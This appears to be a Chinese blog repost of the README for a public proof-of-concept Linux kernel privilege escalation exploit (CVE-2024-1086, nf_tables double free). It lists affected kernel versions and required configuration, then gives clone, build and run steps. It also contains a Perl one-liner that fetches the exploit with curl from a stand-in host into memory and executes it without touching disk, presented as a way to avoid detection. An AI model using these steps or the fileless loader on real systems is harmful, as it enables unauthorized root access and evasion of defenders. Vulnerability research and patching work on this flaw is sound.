CVE-2024-1086 poc linux提权漏洞

CVE-2024-1086 poc linux提权漏洞

漏洞描述

https://nvd.nist.gov/vuln/detail/CVE-2024-1086

Linux内核的netfilter: nf_tables组件中存在的使用后释放漏洞可被利用以实现本地权限提升。
nft_verdict_init()函数允许在hook verdict中使用正值作为drop error,因此当使用类似于NF_ACCEPT的drop error发出NF_DROP时,nf_hook_slow()函数可能会导致双重释放漏洞。

CVE-2024-1086 poc linux提权漏洞

漏洞利用概览

CVE-2024-1086 poc linux提权漏洞

CVE-2024-1086 poc

CVE-2024-1086的通用本地权限提升漏洞概念验证,适用于 v5.14 和 v6.6 之间的大多数 Linux 内核,包括 Debian、Ubuntu 和 KernelCTF。 KernelCTF图像中的成功率为99.4%。

 exploit_poc.mp4

漏洞分析

有关该漏洞的完整描述(包括背景信息和大量有用图表)可以在Flipping Pages 博客文章中找到。

受影响的版本

该漏洞影响从(包括)v5.14 到(包括)v6.6 的版本,不包括修补分支 v5.15.149>、v6.1.76>、v6.6.15>。这些版本的补丁于 2024 年 2 月发布。

底层漏洞影响从 v3.15 到 v6.8-rc1 的所有版本(不包括已修补的稳定分支)。

注意事项:

  • 该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y(包括 Ubuntu v6.5)
  • 该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。
  • 该漏洞在具有大量网络活动的系统上可能不稳定
    • 带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。
    • 在测试设备上,请通过 BIOS 关闭 WiFi 适配器。
CVE-2024-1086 poc linux提权漏洞

用法

配置

默认值应该可以在 Debian、Ubuntu 和 KernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG1避免不必要的网络活动。

构建

如果这对您来说不切实际,可以使用默认配置编译的 x64 二进制文件。

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

二进制文件:CVE-2024-1086/exploit

运行

运行漏洞利用程序也同样简单:

./exploit

在需要避免检测的渗透测试情况下,还支持无文件执行。但是,需要在目标上安装 Perl:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

免责声明

本软件目录/文件夹/存储库(“存储库”)中的程序和脚本(“程序”)仅出于教育/研究目的而发布、开发和分发。我(“创建者”)不容忍任何恶意或非法使用此存储库中的程序,因为目的是共享研究成果,而不是利用它进行非法活动。对于您使用此存储库中的程序所做的任何事情,我不承担任何法律责任。

项目地址

github:
https://github.com/Notselwyn/CVE-2024-1086

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注